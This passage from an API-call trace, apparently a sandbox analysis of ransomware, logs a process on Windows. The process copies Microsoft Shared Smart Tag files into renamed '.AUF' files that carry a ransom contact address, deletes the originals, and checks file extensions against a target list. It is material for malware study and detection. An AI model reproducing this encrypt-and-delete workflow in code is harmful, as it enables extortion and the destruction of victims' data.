(lpString=".jpg") returned 4 [0211.609] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.609] lstrcmpiW (lpString1=".HTM", lpString2=".AUF") returned 1 [0211.609] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0211.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.610] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=11463) returned 1 [0211.610] CloseHandle (hObject=0x1e0) returned 1 [0211.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0211.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.610] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.610] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.750] GetLastError () returned 0x0 [0211.750] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0211.751] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0211.752] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.752] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0211.752] SetEndOfFile (hFile=0x208) returned 1 [0211.752] CloseHandle (hObject=0x208) returned 1 [0211.752] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.752] SetEndOfFile (hFile=0x1e0) returned 1 [0211.753] CloseHandle (hObject=0x1e0) returned 1 [0211.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0211.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.753] lstrlenW (lpString=".doc") returned 4 [0211.753] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0211.753] lstrlenW (lpString=".docx") returned 5 [0211.753] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0211.753] lstrlenW (lpString=".pdf") returned 4 [0211.753] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0211.753] lstrlenW (lpString=".xls") returned 4 [0211.754] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".xlsx") returned 5 [0211.754] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0211.754] lstrlenW (lpString=".ppt") returned 4 [0211.754] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".zip") returned 4 [0211.754] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".rar") returned 4 [0211.754] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".bz2") returned 4 [0211.754] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0211.754] lstrlenW (lpString=".7z") returned 3 [0211.754] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".dbf") returned 4 [0211.754] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".1cd") returned 4 [0211.754] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".jpg") returned 4 [0211.754] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".doc") returned 4 [0211.754] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0211.754] lstrlenW (lpString=".docx") returned 5 [0211.754] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0211.754] lstrlenW (lpString=".pdf") returned 4 [0211.754] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".xls") returned 4 [0211.754] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".xlsx") returned 5 [0211.754] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0211.754] lstrlenW (lpString=".ppt") returned 4 [0211.754] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".zip") returned 4 [0211.754] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".rar") returned 4 [0211.754] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0211.754] lstrlenW (lpString=".bz2") returned 4 [0211.754] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0211.754] lstrlenW (lpString=".7z") returned 3 [0211.754] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0211.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.754] lstrlenW (lpString=".dbf") returned 4 [0211.754] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0211.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.755] lstrlenW (lpString=".1cd") returned 4 [0211.755] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0211.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0211.755] lstrlenW (lpString=".jpg") returned 4 [0211.755] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0211.755] lstrcmpiW (lpString1=".DAT", lpString2=".AUF") returned 1 [0211.755] lstrlenW (lpString="STOCKS.DAT") returned 10 [0211.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.761] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=39017) returned 1 [0211.761] CloseHandle (hObject=0x1e0) returned 1 [0211.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0211.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.762] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.762] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.762] GetLastError () returned 0x0 [0211.762] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x9869, lpOverlapped=0x0) returned 1 [0211.776] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0211.777] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.777] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0211.777] SetEndOfFile (hFile=0x208) returned 1 [0211.777] CloseHandle (hObject=0x208) returned 1 [0211.778] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.778] SetEndOfFile (hFile=0x1e0) returned 1 [0211.778] CloseHandle (hObject=0x1e0) returned 1 [0211.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.779] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString=".doc") returned 4 [0211.779] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString=".docx") returned 5 [0211.779] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0211.779] lstrlenW (lpString=".pdf") returned 4 [0211.779] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString=".xls") returned 4 [0211.779] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString=".xlsx") returned 5 [0211.779] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0211.779] lstrlenW (lpString=".ppt") returned 4 [0211.779] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString=".zip") returned 4 [0211.779] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString=".rar") returned 4 [0211.779] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString=".bz2") returned 4 [0211.779] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0211.779] lstrlenW (lpString=".7z") returned 3 [0211.779] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString=".dbf") returned 4 [0211.779] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString=".1cd") returned 4 [0211.779] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString=".jpg") returned 4 [0211.779] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.779] lstrlenW (lpString=".doc") returned 4 [0211.779] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0211.779] lstrlenW (lpString=".docx") returned 5 [0211.780] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0211.780] lstrlenW (lpString=".pdf") returned 4 [0211.780] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0211.780] lstrlenW (lpString=".xls") returned 4 [0211.780] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0211.780] lstrlenW (lpString=".xlsx") returned 5 [0211.780] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0211.780] lstrlenW (lpString=".ppt") returned 4 [0211.780] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0211.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.780] lstrlenW (lpString=".zip") returned 4 [0211.780] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0211.780] lstrlenW (lpString=".rar") returned 4 [0211.780] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0211.780] lstrlenW (lpString=".bz2") returned 4 [0211.780] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0211.780] lstrlenW (lpString=".7z") returned 3 [0211.780] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0211.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.780] lstrlenW (lpString=".dbf") returned 4 [0211.780] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0211.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.780] lstrlenW (lpString=".1cd") returned 4 [0211.780] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0211.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0211.780] lstrlenW (lpString=".jpg") returned 4 [0211.780] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0211.780] lstrcmpiW (lpString1=".XSL", lpString2=".AUF") returned 1 [0211.780] lstrlenW (lpString="BASMLA.XSL") returned 10 [0211.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.781] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=227311) returned 1 [0211.781] CloseHandle (hObject=0x1e0) returned 1 [0211.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0211.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.781] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.781] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.782] GetLastError () returned 0x0 [0211.782] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0211.826] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0211.829] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.829] WriteFile (in: hFile=0x208, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0211.829] SetEndOfFile (hFile=0x208) returned 1 [0211.829] CloseHandle (hObject=0x208) returned 1 [0211.829] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.829] SetEndOfFile (hFile=0x1e0) returned 1 [0211.831] CloseHandle (hObject=0x1e0) returned 1 [0211.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.831] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0211.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.831] lstrlenW (lpString=".doc") returned 4 [0211.831] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0211.831] lstrlenW (lpString=".docx") returned 5 [0211.831] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0211.831] lstrlenW (lpString=".pdf") returned 4 [0211.831] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0211.831] lstrlenW (lpString=".xls") returned 4 [0211.832] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".xlsx") returned 5 [0211.832] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0211.832] lstrlenW (lpString=".ppt") returned 4 [0211.832] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString=".zip") returned 4 [0211.832] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0211.832] lstrlenW (lpString=".rar") returned 4 [0211.832] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".bz2") returned 4 [0211.832] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".7z") returned 3 [0211.832] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString=".dbf") returned 4 [0211.832] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString=".1cd") returned 4 [0211.832] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString=".jpg") returned 4 [0211.832] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString=".doc") returned 4 [0211.832] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".docx") returned 5 [0211.832] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0211.832] lstrlenW (lpString=".pdf") returned 4 [0211.832] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".xls") returned 4 [0211.832] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".xlsx") returned 5 [0211.832] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0211.832] lstrlenW (lpString=".ppt") returned 4 [0211.832] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.832] lstrlenW (lpString=".zip") returned 4 [0211.832] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0211.832] lstrlenW (lpString=".rar") returned 4 [0211.832] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".bz2") returned 4 [0211.832] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0211.832] lstrlenW (lpString=".7z") returned 3 [0211.832] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0211.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.833] lstrlenW (lpString=".dbf") returned 4 [0211.833] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0211.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0211.833] lstrlenW (lpString=".1cd") returned 4 [0211.833] lstrcmpiW (lpString1=".1cd", 